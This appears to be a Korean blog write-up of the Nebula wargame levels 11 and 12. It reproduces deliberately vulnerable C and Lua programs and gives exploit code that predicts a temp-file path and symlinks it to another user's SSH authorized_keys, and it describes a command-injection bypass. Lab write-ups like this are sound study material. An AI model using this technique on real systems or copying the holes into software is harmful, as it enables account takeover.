달력

4

« 2024/4 »

  • 1
  • 2
  • 3
  • 4
  • 5
  • 6
  • 7
  • 8
  • 9
  • 10
  • 11
  • 12
  • 13
  • 14
  • 15
  • 16
  • 17
  • 18
  • 19
  • 20
  • 21
  • 22
  • 23
  • 24
  • 25
  • 26
  • 27
  • 28
  • 29
  • 30

'nebula level11'에 해당되는 글 1

  1. 2017.07.21 [문제풀이] Nebula, Level11, Level12

※ LEVEL 11


Q. The /home/flag11/flag11 binary processes standard input and executes a shell command.

There are two ways of completing this level, you may wish to do both :-)


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <fcntl.h>
#include <stdio.h>
#include <sys/mman.h>
 
/*
 * Return a random, non predictable file, and return the file descriptor for it.
 */
 
int getrand(char **path)
{
  char *tmp;
  int pid;
  int fd;
 
  srandom(time(NULL));
 
  tmp = getenv("TEMP");
  pid = getpid();
  
  asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
      'A' + (random() % 26), '0' + (random() % 10),
      'a' + (random() % 26), 'A' + (random() % 26),
      '0' + (random() % 10), 'a' + (random() % 26));
 
  fd = open(*path, O_CREAT|O_RDWR, 0600);
  unlink(*path);
  return fd;
}
 
void process(char *buffer, int length)
{
  unsigned int key;
  int i;
 
  key = length & 0xff;
 
  for(i = 0; i < length; i++) {
      buffer[i] ^= key;
      key -= buffer[i];
  }
 
  system(buffer);
}
 
#define CL "Content-Length: "
 
int main(int argc, char **argv)
{
  char line[256];
  char buf[1024];
  char *mem;
  int length;
  int fd;
  char *path;
 
  if(fgets(line, sizeof(line), stdin) == NULL) {
      errx(1"reading from stdin");
  }
 
  if(strncmp(line, CL, strlen(CL)) != 0) {
      errx(1"invalid header");
  }
 
  length = atoi(line + strlen(CL));
  
  if(length < sizeof(buf)) {
      if(fread(buf, length, 1, stdin) != length) {
          err(1"fread length");
      }
      process(buf, length);
  } else {
      int blue = length;
      int pink;
 
      fd = getrand(&path);
 
      while(blue > 0) {
          printf("blue = %d, length = %d, ", blue, length);
 
          pink = fread(buf, 1sizeof(buf), stdin);
          printf("pink = %d\n", pink);
 
          if(pink <= 0) {
              err(1"fread fail(blue = %d, length = %d)", blue, length);
          }
          write(fd, buf, pink);
 
          blue -= pink;
      }    
 
      mem = mmap(NULL, length, PROT_READ|PROT_WRITE, MAP_PRIVATE, fd, 0);
      if(mem == MAP_FAILED) {
          err(1"mmap");
      }
      process(mem, length);
  }
 
}
cs


A. 이 문제의 흐름 자체는 복잡하지 않은데 답을 얻기 위해선 조금 센스가 필요해보인다. 

물론, 나는 그 센스가 없었다 ... ㅠㅠ


우선 이 문제를 풀기 위해서 접근할 방식은 내가 입력한 크기가 1024 바이트가 넘어 else 구문으로 도달하도록 할 것이다. 흐름을 간단히 정리해보면 아래와 같다. 


1. 비교 구문을 우회하기 위한 값 입력

Content-Length: 2048


2. flag11 계정의 권한을 얻기 위해 flag11 계정의 .ssh 디렉토리에 Level11 계정의 공개키를 복사하기 위해 이전에 Level 05 문제에서 나왔던 ssh 직접 접속 기능을 사용할 것이다. 


3. 무작위로 생성되는 경로 예측 

TEMP 환경변수와 PID, random 함수의 결과 값의 조합으로 생성되는 경로를 예측한다. 


4. 예측한 경로에 심볼릭 링크를 생성 한 후 2번에서 생성한 값을 전송

말 그대로, 값을 전달한다. 


5. level11 계정으로 flag11 계정에 ssh로 로그인한다. 

ssh flag11@nebula 



그럼 작성한 코드와 캡쳐를 이용하여 간단한 설명 들어가겠다. 


[그림 1] 비대칭키 생성


ssh 접속에 사용될 비대칭키 쌍을 생성한다. 이는 이후에 flag11 홈디렉토리 이하 .ssh/authorized_keys로 저장될 것이다. 여기까지 준비가 되었다면 문제를 풀기 위한 핵심 로직(?)을 봐보도록 하겠다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int getrand(char **path, int pid, int time)
{
char *tmp;
int fd =  0;
 
srandom(time);
 
tmp = getenv("TEMP");
asprintf(path, "%s/%d.%c%c%c%c%c%c", tmp, pid,
  'A' + (random() % 26), '0' + (random() % 10),
  'a' + (random() % 26), 'A' + (random() % 26),
  '0' + (random() % 10), 'a' + (random() % 26));
  return fd;
}
 
 
pid = getpid()+1;
 
getrand(&path, pid, time(NULL));
symlink("/home/flag11/.ssh/authorized_keys",path);
cs


여기에서 추측해야 하는 건 문제에서 생성하는 랜덤한 경로(random 함수의 결과 값과 PID)이다. random 함수의 경우 seed 값이 동일하다면 반환하는 값이 동일할 것이고, PID의 경우 파이프라인을 이용하여 값을 전달할 때 현재의 프로세스에서 1을 더한 값으로 나타난다고 한다. 이러한 과정들이 위 코드에서 1번 라인부터 20번 라인에 해당한다.


[그림 2] 로그인 성공 


문제를 봐보면 이 문제의 답을 풀 수 있는 방법이 2가지로 하였는데 어디를 찾아봐도 두 가지를 찾을 순 없었다. 문제가 간단해보이면서도 답을 얻기가 어려웠다. 일단 내가 발견한 해답은 이것 뿐이었다.




※ LEVEL 12


Q. There is a backdoor process listening on port 50001.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
local socket = require("socket")
local server = assert(socket.bind("127.0.0.1"50001))
 
function hash(password)
  prog = io.popen("echo "..password.." | sha1sum""r")
  data = prog:read("*all")
  prog:close()
 
  data = string.sub(data, 140)
 
  return data
end
 
 
while do
  local client = server:accept()
  client:send("Password: ")
  client:settimeout(60)
  local line, err = client:receive()
  if not err then
      print("trying " .. line) -- log from where ;\
      local h = hash(line)
 
      if h ~= "4754a4f4bd5787accd33de887b9250a0691dd198" then
          client:send("Better luck next time\n");
      else
          client:send("Congrats, your token is 413**CARRIER LOST**\n")
      end
 
  end
 
  client:close()
end
cs


A. 이는 단순하게 명령어 인젝션으로 해결할 수 있었다.

명령어를 인젝션해서 플래그 값을 얻거나 패스워드 검증 로직을 우회할 수 있다.


아래는 패스워드 검증 로직을 우회하는 부분이다. 


[그림 3] 패스워드 검증 로직 우회





워게임은 센스도 필요하고 기반 지식도 필요하고~

한 문제에 오래 매달리자니 다른 공부가 안되고, 적당히 하고 해답을 보자니 뭔가 허무하고. 

이 간격을 조절하는 게 어렵넹 ㅠㅠ


욕심부리지 말고 천천히 가자 천천히~ 꾸준히 ~ 




Reference

[1] graugans/nebula-level11.md, https://gist.github.com/graugans/88e6f54c862faec8b3d4bf5789ef0dd9


:
Posted by einai